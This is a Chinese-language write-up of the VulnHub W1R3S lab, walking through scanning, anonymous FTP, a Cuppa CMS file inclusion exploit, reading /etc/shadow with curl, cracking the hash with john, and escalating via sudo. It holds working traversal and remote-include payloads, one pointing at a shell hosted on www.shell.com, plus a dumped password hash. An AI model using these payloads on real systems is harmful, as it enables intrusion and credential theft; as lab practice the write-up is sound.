靶场连接:https://download.vulnhub.com/w1r3s/w1r3s.v1.0.1.zip
1.信息收集
1.1 namp存活主机识别
MAC Address: 00:50:56:FD:14:42 (VMware)
Nmap scan report for 192.168.126.142
Host is up (0.00017s latency).
1.2 rustscan端口扫描及服务识别
rustscan -a 192.168.126.142 --ulimit 5000 -- -A -Pn
1.3 目录扫描
这次使用`ffuf`进行扫描,kali自带,go语言编写,速度快
具体使用步骤看大佬写的blog吧
ffuf -u http://192.168.126.142/FUZZ -w /usr/share/dirb/wordlists/common.txt -recursion 2 -maxtime-job 10
2. 渗透测试
2.1 ftp匿名登录
ftp 192.168.126.142
name: anonymous
然后直接enter就可以,使用以下命令可以查看ftp里面的内容
cd 切换目录
get 下载文件
ls 查看目录文件
➜ ~ cat 01.txt
New FTP Server For W1R3S.inc
➜ ~ cat 02.txt
01ec2d8fc11c493b25029fb1f47f39ce
SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==
############################################
➜ ~ cat 03.txt
___________.__ __ __ ______________________ _________ .__
\__ ___/| |__ ____ / \ / \/_ \______ \_____ \ / _____/ |__| ____ ____
| | | | \_/ __ \ \ \/\/ / | || _/ _(__ < \_____ \ | |/ \_/ ___\
| | | Y \ ___/ \ / | || | \/ \/ \ | | | \ \___
|____| |___| /\___ > \__/\ / |___||____|_ /______ /_______ / /\ |__|___| /\___ >
\/ \/ \/ \/ \/ \/ \/ \/ \/
➜ ~ cat employee-names.txt
The W1R3S.inc employee list
Naomi.W - Manager
Hector.A - IT Dept
Joseph.G - Web Design
Albert.O - Web Design
Gina.L - Inventory
Rico.D - Human Resources
➜ ~ cat worktodo.txt
ı pou,ʇ ʇɥıuʞ ʇɥıs ıs ʇɥǝ ʍɐʎ ʇo ɹooʇ¡
....punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ
➜ ~ echo SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg== > base64 -d
➜ ~ echo SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg== | base64 -d
It is easy, but not that easy..%
ftp内容如上,基本只有一个employee-names在实战中用得到
2.2 http测试
信息收集阶段我们知道使用的是`Cuppa CMS`,谷歌尝试搜索exp
Cuppa CMS - '/alertConfigField.php' Local/Remote File Inclusion - PHP webapps Exploit
漏洞详情
在alerts/alertConfigField.php
文件的第22行,开发者使用了include()
函数来包含一个由$_REQUEST["urlConfig"]
变量指定的文件。由于没有对$_REQUEST["urlConfig"]
进行适当的过滤或验证,攻击者可以提交恶意的数据来包含他们选择的文件。
漏洞影响
- 远程文件包含:攻击者可以通过URL参数指定远程服务器上的文件路径,如果这个文件包含了恶意的PHP代码,那么它就会在目标服务器上被执行,这可能导致服务器被完全控制。
- 本地文件读取:即使不包含远程文件,攻击者也可以利用此漏洞读取服务器上的任何文件,例如
/etc/passwd
文件,这将泄露服务器的敏感信息。 - 配置文件泄露:通过使用PHP流(如
php://filter/convert.base64-encode/resource=../Configuration.php
),攻击者能够读取并编码输出Cuppa CMS的配置文件,这通常包含数据库凭证和其他敏感信息。
利用示例
- 读取远程shell:
http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt
- 读取本地
/etc/passwd
文件:http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
- 读取并base64编码输出
Configuration.php
文件:http://target/cuppa/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php
根据描述get请求并没有生效
尝试使用post请求
curl --data-urlencode urlConfig=../../../../../../../../../etc/shadow http://192.168.126.142/administrator/alerts/alertConfigField.php
w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::
john密码爆破
保存密码文件到pwd.txt,用kali自带的工具。
john pwd.txt
username: w1r3s
password: computer
提权
主要还是linpeas.sh,具体获取方式看我上一篇blog,反弹shell部分
vulhub Matrix-Breakout: 2 Morpheus – 栀花谢了春红
➜ php ls
dirty.c dirty.sh linpeas.sh reverse.php
➜ php python3 -m http.server 1234
Serving HTTP on 0.0.0.0 port 1234 (http://0.0.0.0:1234/) …
然后ssh登录靶机
ssh w1r3s@192.168.126.142
wget 192.168.126.137:1234/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
有很多可能的CVE,有sudo就不用CVE,sudo快啊
w1r3s@W1R3S:~$ sudo -l
[sudo] password for w1r3s:
Matching Defaults entries for w1r3s on W1R3S.localdomain:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User w1r3s may run the following commands on W1R3S.localdomain:
(ALL : ALL) ALL
ALL,全部是ALL
sudo su
root@W1R3S:/home/w1r3s#
3.总结
root@W1R3S:/var/www/html/administrator/alerts# cat !$
<div id="content_alert_config" class="content_alert_config">
<?php include "../components/table_manager/fields/config/".@$cuppa->POST("urlConfig"); ?>
</div>
文件包含的漏洞此处,可以看出是POST传参,传入urlConfig并且没有任何过滤。